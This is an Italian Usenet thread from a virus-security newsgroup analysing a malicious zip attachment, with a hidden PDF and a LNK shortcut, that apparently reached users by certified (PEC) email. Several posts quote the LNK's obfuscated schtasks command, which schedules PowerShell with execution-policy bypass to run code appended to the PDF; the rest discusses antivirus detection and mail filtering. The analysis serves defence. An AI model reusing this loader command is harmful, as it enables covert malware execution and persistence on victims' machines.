ObiWan
2019-09-19 08:27:27 UTC
Permalink
:: On Thu, 19 Sep 2019 08:52:42 +0200
:: (it.comp.sicurezza.virus)
Post by ObiWan
:: On Wed, 18 Sep 2019 15:51:51 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Post by ObiWan
due secondi a dare un'occhiata al "lnk"; bellino, richiama
schtasks e lancia uno script powershell; qui sotto un pezzo di
roba dal "lnk"
Windows\System32\schtasks.exe
Io non so perche' un file, che dovrebbe contenere un innocuo link,
possa richiamare eseguibili...
un "lnk" è un collegamento, ed un collegamento può puntare a qualunque
oggetto, sia un file, una cartella o un eseguibile, come in questo caso
Post by Bowlingbpsl
Post by ObiWan
/F /Create /TN "AI" /sc minute /MO 2 /ST 05:52 /TR "%comspec% /c
pow%tmp:~5,3%hell /ep bypass /win 1 /c '&{cd %public:~-15,9%;$o=ls
-force -r -in comu*.*|select -last 1;$o=gc -LiteralPath $o|select
-last 1;iex $o}'"!%SystemRoot%\System32\shell32.dll
Ergh... "sorridi ed annuisci, facendo finta di capire tutto". :-P
apri cmd ed immetti
schtasks /Create /?|more
in pratica usa schtasks per creare un task ripetuto ogni 2 minuti che
lancia "powershell" ed esegue lo script powershell seguente
'&{cd %public:~-15,9%;$o=ls -force -r -in comu*.*|select -last 1;$o=gc
-LiteralPath $o|select -last 1;iex
$o}'"!%SystemRoot%\System32\shell32.dll
tra l'altro "l'accrocchio" è vecchio

https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/

:P
ObiWan
2019-09-19 13:21:23 UTC
Permalink
:: On Thu, 19 Sep 2019 10:27:27 +0200
:: (it.comp.sicurezza.virus)
Post by ObiWan
:: On Thu, 19 Sep 2019 08:52:42 +0200
:: (it.comp.sicurezza.virus)
Post by ObiWan
:: On Wed, 18 Sep 2019 15:51:51 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Post by ObiWan
due secondi a dare un'occhiata al "lnk"; bellino, richiama
schtasks e lancia uno script powershell; qui sotto un pezzo di
roba dal "lnk"
Windows\System32\schtasks.exe
Io non so perche' un file, che dovrebbe contenere un innocuo link,
possa richiamare eseguibili...
un "lnk" è un collegamento, ed un collegamento può puntare a
qualunque oggetto, sia un file, una cartella o un eseguibile, come
in questo caso
Post by Bowlingbpsl
Post by ObiWan
/F /Create /TN "AI" /sc minute /MO 2 /ST 05:52 /TR "%comspec% /c
pow%tmp:~5,3%hell /ep bypass /win 1 /c '&{cd
%public:~-15,9%;$o=ls -force -r -in comu*.*|select -last
1;$o=gc -LiteralPath $o|select -last 1;iex
$o}'"!%SystemRoot%\System32\shell32.dll
Ergh... "sorridi ed annuisci, facendo finta di capire tutto". :-P
apri cmd ed immetti
schtasks /Create /?|more
in pratica usa schtasks per creare un task ripetuto ogni 2 minuti
che lancia "powershell" ed esegue lo script powershell seguente
'&{cd %public:~-15,9%;$o=ls -force -r -in comu*.*|select -last
1;$o=gc -LiteralPath $o|select -last 1;iex
$o}'"!%SystemRoot%\System32\shell32.dll
tra l'altro "l'accrocchio" è vecchio
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
:P
In pratica, il task schedulato dal file "lnk" tira fuori un blocco di
codice appiccicato in fondo al "pdf" e lo esegue; ad ogni modo, per
quanto riguarda l'analisi su VT qui ci sono i risultati del PDF e del
LNK estratti dallo zip :P


* PDF
https://www.virustotal.com/gui/file/a69eed5447af36032f447654ce87511c7321c4cdc330fa602249aed29549772a/detection


* LNK
https://www.virustotal.com/gui/file/d3222e48a036c6c730bb4e67b4c02e83c87860701975f408e5bf708b4b9cdbf4/detection

considera che il PDF ha l'attributo "hidden", in pratica l'utOnto di
turno estrae lo zip da qualche parte (di solito sul desktop), poi,
visto che l'unica cosa che appare è il "lnk" clicca quello...

detto questo, sto provandolo con ClamAV; con le firme standard NON lo
becca, ma se uso anche le firme "aggiuntive" lo becca senza alcun tipo
di problema ]:-D
Bowlingbpsl
2019-09-20 07:25:42 UTC
Permalink
Post by ObiWan
Post by ObiWan
On Thu, 19 Sep 2019 08:52:42 +0200
(it.comp.sicurezza.virus)
tra l'altro "l'accrocchio" è vecchio
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
Avendo Comodo... sto pensando sempre, ma sempre peggio di questo
antivirus: NON LO RILEVA!
Non vedo la benche' minima motivazione per questo colpevole ritardo... :-(


Fabrizio
Bowlingbpsl
2019-09-20 07:28:45 UTC
Permalink
Post by ObiWan
Post by Bowlingbpsl
Post by ObiWan
On Wed, 18 Sep 2019 15:51:51 +0200
(it.comp.sicurezza.virus)
Ergh... "sorridi ed annuisci, facendo finta di capire tutto". :-P
apri cmd ed immetti
schtasks /Create /?|more
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\supervisore>schtasks /Create /?|more

SCHTASKS /Create [/S sistema [/U nomeutente [/P password]]]
[/RU nomeutente [/RP password]] /SC pianificazione [/MO modificatore]
[/D gi
orno]
[/I durata inattività] /TN nome operazione /TR operazione eseguita
[/ST ora
inizio] [/M mesi]
[/SD data inizio] [/ED data fine]

Descrizione:
Consente all'amministratore di creare operazioni pianificate su
sistemi loca
li o
remoti.

Elenco parametri:
/S sistema Specifica il sistema remoto a cui
connettersi. Se omesso, il parametro
sistema
assume come valore il
sistema locale.

/U nome utente Specifica il contesto utente in cui
eseguire il comando.

/P password Specifica la password per
il contesto utente indicato.
-- More --
Post by ObiWan
in pratica usa schtasks per creare un task ripetuto ogni 2 minuti che
lancia "powershell" ed esegue lo script powershell seguente
Ho qualche ricordo di aver disabilitato gli script, seguendo qualche
tutorial... che ora non ricordo. Uff.
Post by ObiWan
'&{cd %public:~-15,9%;$o=ls -force -r -in comu*.*|select -last 1;$o=gc
-LiteralPath $o|select -last 1;iex
$o}'"!%SystemRoot%\System32\shell32.dll
Io continuo comunque a pensare che l'antivirus dovrebbe sparare un alert,
perlomeno.
W7 come si comporterebbe? Ricordo bene che, per qualsiasi modifica, si
apre una finestra e richiede il permesso.


Fabrizio

Gabriele - onenet
2019-09-13 15:24:19 UTC
Permalink
Post by ObiWan
:: On Thu, 12 Sep 2019 09:30:38 +0200
:: (it.comp.sicurezza.virus)
[cut]
Post by ObiWan
Ma c'è chi invece lo cliccherebbe subito :P alla fine della fiera, il
discorso è semplice, e credo di averlo già fatto; l'anticoso sul PC è
soltanto l'ULTIMA linea di difesa, un qualsiasi file, prima di arrivare
al PC dell'uTONTO dovrebbe sempre passare attraverso una serie di
check, e la cosa vale anche per il traffico di rete, un bel "proxy" che
filtra tutto il traffico spesso vale MOLTO più di quanto costa :)
Appliance SonicWall, qualche migliaio di E all'anno, gestita (a caro prezzo) dal
fornitore e da SW stessa. Sicurezza perimetrale 'a prova di bomba' quindi...
Quello zip è passato.
Orca, questo è interessante!
Hai avuto la spiegazione del motivo? Mi sa che non era proprio configurato
benissimo.
E meno male che avevo disattivato l'esecuzione degli script nelle macchine
dell'amministrazione.
Però IMHO il mail server non dovrebbe accettare allegati zippati con dentro file
.lnk e altri di dubbio gusto.
Se uno vuole proprio condividere quel tipo di file ci sono altri modi.
Io li sego a vista da secoli.

Però qui c'è un problema, ossia arriva da un indirizzo PEC e già tempo fa si
parlava (non ricordo se qui o altro NG) su cosa fanno e non fanno i provider di
PEC per fermare le email infette.

Gabriele
ObiWan
2019-09-16 07:08:46 UTC
Permalink
:: On Fri, 13 Sep 2019 17:24:19 +0200
:: (it.comp.sicurezza.virus)
Post by Gabriele - onenet
Però qui c'è un problema, ossia arriva da un indirizzo PEC e già
tempo fa si parlava (non ricordo se qui o altro NG) su cosa fanno e
non fanno i provider di PEC per fermare le email infette.
Stando a quanto ho letto (tempo fa, spero di ricordare bene), NON è
ammesso filtrare le email PEC, il che espone l'utenza ad evidenti
problemi di sicurezza; non ricordo invece se sia possible rifiutare una
email PEC a livello SMTP (errore 5xx); se qualcuno volesse andarsi a
rileggere la documentazione/normativa in merito ...
gio
2019-09-16 08:28:42 UTC
Permalink
Post by Gabriele - onenet
Post by gio
Appliance SonicWall, qualche migliaio di E all'anno, gestita (a caro
prezzo) dal fornitore e da SW stessa. Sicurezza perimetrale 'a prova
di bomba' quindi... Quello zip è passato.
Orca, questo è interessante!
Hai avuto la spiegazione del motivo? Mi sa che non era proprio
configurato benissimo.
Fuffa:

[paste]

Ho sentito ieri tardo pomeriggio al telefono ***, per informarlo sulla
situazione che ti riassumo via email con i punti da noi eseguiti in fase
di analisi del problema:

Abbiamo verificato e il motore Sandbox ( CaptureATP ) di Sonicwall
è configurato correttamente sul Vostro apparato, sono infatti presenti
migliaia di files analizzati e in costante aumento

Abbiamo testato tramite il nostro antivirus Endpoint Kaspersky che
effettivamente trattasi di Downloader ( il nostro antivirus appena
scaricato sul client di test in ambiente protetto lo ha bloccato
immediatamente )

Abbiamo forzato un Upload su Sandbox di Sonicwall del file e qui ci
siamo sorpresi che lo ha catalogato come CLEAN

Abbiamo aperto un ticket di primo livello con Sonicwall e ci hanno
risposto al ticket con la risposta che vedi in allegato, cioè che
abbiamo ragione che trattasi di un file malevolo e che lo mandano ad
analizzare per creare un signature

[/paste]

Hanno aperto un ticket :D
Post by Gabriele - onenet
Post by gio
E meno male che avevo disattivato l'esecuzione degli script nelle
macchine dell'amministrazione.
Però IMHO il mail server non dovrebbe accettare allegati zippati con
dentro file .lnk e altri di dubbio gusto.
Se uno vuole proprio condividere quel tipo di file ci sono altri modi.
Io li sego a vista da secoli.
Però qui c'è un problema, ossia arriva da un indirizzo PEC e già tempo
fa si parlava (non ricordo se qui o altro NG) su cosa fanno e non fanno
i provider di PEC per fermare le email infette.
Non sono il responsabile della sicurezza, sono solo un analista esterno
che si occupa di un paio di progetti.

Condivido e quoto tutto quello che hai scritto
--
gio
ilchierico
2019-09-17 14:01:53 UTC
Permalink
Post by Gabriele - onenet
Però qui c'è un problema, ossia arriva da un indirizzo PEC e già tempo
fa si parlava (non ricordo se qui o altro NG) su cosa fanno e non fanno
i provider di PEC per fermare le email infette.
Fin quando impestano solo i sistemi windows... io sono piu' preoccupato
per le varie distribuzioni linux. E comunque a questo livello siamo
ancora a livello PEBCAK, se qualcuno osa ancora scaricare un allegato
qualsiasi senza accendere il cervello.

La domanda casomai e' se la PEC italiana e' stata tirata su cosi'
apposta, o chi ha costruito la PEC sapeva che prima o poi sarebbero
successo casini simili?
Leonardo Serni
2019-07-25 13:10:16 UTC
Permalink
Post by Bowlingbpsl
E' QUASI uguale al "mio". Io ho un .lnk anziche' .vbs. Ma sospetto sia
lo stesso, piu' o meno mascherato (se qualcuno confermasse...)
Appena dovesse arrivarmi lo stesso zip (al limite anche contenuto dentro un
ulteriore zip con password "pirulazio"), non mancherò di controllare.

Naturalmente, le probabilità sono molto basse <grin>.

Leonardo
--
"You all presumably know why" :-) :-(
ObiWan
2019-09-19 13:32:49 UTC
Permalink
:: On Thu, 25 Jul 2019 15:10:16 +0200
:: (it.comp.sicurezza.virus)
Post by Leonardo Serni
"pirulazio"
OMG, la legione... quanti ricordi !!

"Rombano le lunghe navi..."

:D
ObiWan
2019-09-19 13:36:03 UTC
Permalink
:: On Thu, 19 Sep 2019 15:32:49 +0200
:: (it.comp.sicurezza.virus)
Post by ObiWan
:: On Thu, 25 Jul 2019 15:10:16 +0200
:: (it.comp.sicurezza.virus)
Post by Leonardo Serni
"pirulazio"
OMG, la legione... quanti ricordi !!
"Rombano le lunghe navi..."
o meglio

Rombano le lunghe navi dove la gloria dell’ Impero vuole...
...Marciano le Legioni dove la bella morte sorridendo chiama...
...Levate alte le insegne, Legionari...

ARRIVA LA LEGIONE

:D :D :D
Continua a leggere su narkive:
Loading...